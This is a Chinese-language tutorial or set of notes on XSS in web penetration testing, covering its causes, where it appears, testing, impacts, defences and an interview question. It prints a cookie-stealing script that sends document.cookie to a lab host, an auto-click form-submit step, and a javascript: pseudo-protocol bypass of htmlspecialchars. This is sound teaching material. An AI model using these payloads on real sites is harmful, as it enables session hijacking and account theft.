当前位置: 首页 > news >正文

Web渗透测试之XSS跨站脚本 原理 出现的原因 出现的位置 测试的方法 危害 防御手段 面试题 一篇文章给你说的明明白白

 目录

XSS介绍的原理和说明

Cross Site Scripting

钓鱼

XSS攻击原理

XSS漏洞出现的原因:

XSS产生的原因分析

XSS出现位置:

XSS测试方法

XSS的危害

防御手段:

其它防御

面试题:

备注:


XSS介绍的原理和说明

  • 嵌入在客户端脚本 对客户端进行攻击的
  • Owstop ten 十大漏洞

OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。

  • Cross Site Scripting

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以在代码审计中xss漏洞关键就是寻找参数未过滤的输出函数。

钓鱼【XSS实例中的一种】

"<script> document.location = 'http://192.168.1.7/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>"

整体的获取过程

  • 先看看哪里有xss漏洞 再去干
  • 黑客先登录这个网站 清除cookie信息
  • 钓鱼就是调cookie
  • 网址没有变化就是post请求 不是get请求
  • document.getElementById("postsubmit").click();
  • 找到这个标签自动点击这个标签
  • ----------------------------------------------------------------------------------------------------------
  • 1 首先解析 自上而下执行完成
  • 2 获取cookie攻击代码 获取浏览器cookie
  • 3 执行windowws.onload 开始执行这个方法
  • 4 执行这个方法 document.getElementById("postsubmit").click();执行这个按钮
  • 5 发送这个html给用户 用户使用用户名密码进行登录 cookie就发送给黑客的网站了
  • 6 这样的方式就叫做钓鱼

XSS攻击原理

XSS漏洞出现的原因:

  • 程序对输入和输出的控制不够严格

    • 导致"精心构造"的脚本输入后

    • 在输出到前端时被浏览器当作有效代码解析执行从而产生危害

XSS产生的原因分析

  • 服务端程序没有对输入输出严格的过滤

    • 导致黑客精心构造的输入脚本,输入到了服务端

    • 然后并且输出浏览器当成有效的代码执行了,导致了客户端收到了攻击。

  • 如果客户端不是有效的代码,只是数据,攻击客户端的只有可执行的程序

  • 只要不是程序就执行不起来,浏览器默认解析js代码,解析就会执行这个代码。
    • 如何让他不执行
    • 这个后端就会有防御手段。

XSS出现位置:

  • 哪里提交了数据
  • 哪里展示了数据
  • 也就是有输入有输出的地方 js只有在浏览器不能执行 只能在浏览器上运行
  • 用户输入输出用户交互的地方 都可能存在xss攻击
  • Html文档中 标签中
  • URLContext
  • Css样式

XSS测试方法

  • 工具扫描

  • 手工测试

  • 工具和手工 都需要我们去综合利用

XSS的危害

  • 窃取cookie的sessionid,冒充用户登录
  • 盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 盗窃企业重要的具有商业价值的资料
  • 控制受害者机器向其它网站发起攻击(重定向语句)
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 强制发送电子邮件
  • 网站挂马
  • 非法转账

防御手段:

  • 用户提交数据的时候
    • 没有在客户端进行过滤js代码,当然也可以绕过让过防御手段

  • 服务端将js存储在数据库中的代码
    • 服务端给出html代码,攻击代码被服务端解析到html
    • 发送给客户端了,这样客户端就解析了xss代码
    • 这个时候服务端就需要做输出过滤 不在是js代码 是普普通通的数据】 客户端就不会执行js代码

  • 如果您在cookie中设置了HttpOnly属性
    • 那么通过js脚本将无法读取到cookie信 息
    • 这样能有效的防止XSS攻击导致的cookie被盗取。 

  • 对输入进行过滤或清理

  • 使用预备语句
    • 在数据库查询中使用预备语句以避免XSS攻击通过输入传播到数据库

  • 实施输出编码
    • 确保在输出到HTML时使用适当的HTML编码函数

  • 使用内容安全策略

  • 审查和测试

  • 定期进行安全审计和漏洞扫描

其它防御

对输入进行过滤

  • 对输出进行编码 --- 编码指的是html实体编码

输入输出的位置

  • 输出给了js,js代码中直接将编码正常的标签编码 ----- 输出到html能识别的编码

面试题:

如果服务端使用了htmlspecialchars 防范

  • 你该如何处理我们使用

  • JavaScript伪协议

    • 使用前提

      • xss之href输出绕过:javascript:alert(1111)

      • 直接代入a标签herf里面一样可以绕过htmlspecialchars

      • 如果没有把用户提交的数据交给a标签,其实很难绕过了

      • 以及js代码写入进行绕过

备注:

  • 输入输出都没有做严格的过滤 这个在视频上还要多研究研究 XSS漏洞出现的本质原因
  • XSS玩的最多的就是盗取Cookie JS 代码能干啥 就取决于JS代码的功能,XSS代码能造成多大的影响取决于js代码

  • 而这玩意我们称之为钓鱼


http://www.mrgr.cn/news/82919.html

相关文章:

  • Ubuntu 下载安装 kibana8.7.1
  • 力扣 跳跃游戏
  • 《Java-集合的基本使用及练习》
  • Android Studio创建新项目并引入第三方jar、aar库驱动NFC读写器读写IC卡
  • transformers蒸馏版本对话小模型
  • html内容过长,实现向上循环滑动效果
  • Effective C++读书笔记——item11(自赋值)
  • 来说数据库
  • C++ Qt练习项目 QChar功能测试
  • 尚硅谷· vue3+ts 知识点学习整理 |14h的课程(持续更ing)
  • aardio —— 虚表 —— 模拟属性框
  • 安卓OCR使用(Google ML Kit)
  • 【华为OD机试E卷C卷D卷】跳马【C++/Java/Python】
  • Python应用指南:高德交通态势数据(一)
  • java 核心知识点——基础知识
  • 群论学习笔记
  • 关于大一上的总结
  • 【Linux】sed编辑器
  • Functions
  • 高效工作流:用Mermaid绘制你的专属流程图;如何在Vue3中导入mermaid绘制流程图
  • SQL编程语言
  • Postman接口测试05|实战项目笔记
  • 进程件通信——网络通信——TCP
  • unity-入门查漏补缺0.2.03.10
  • 计算机网络学习
  • 【算法】算法初步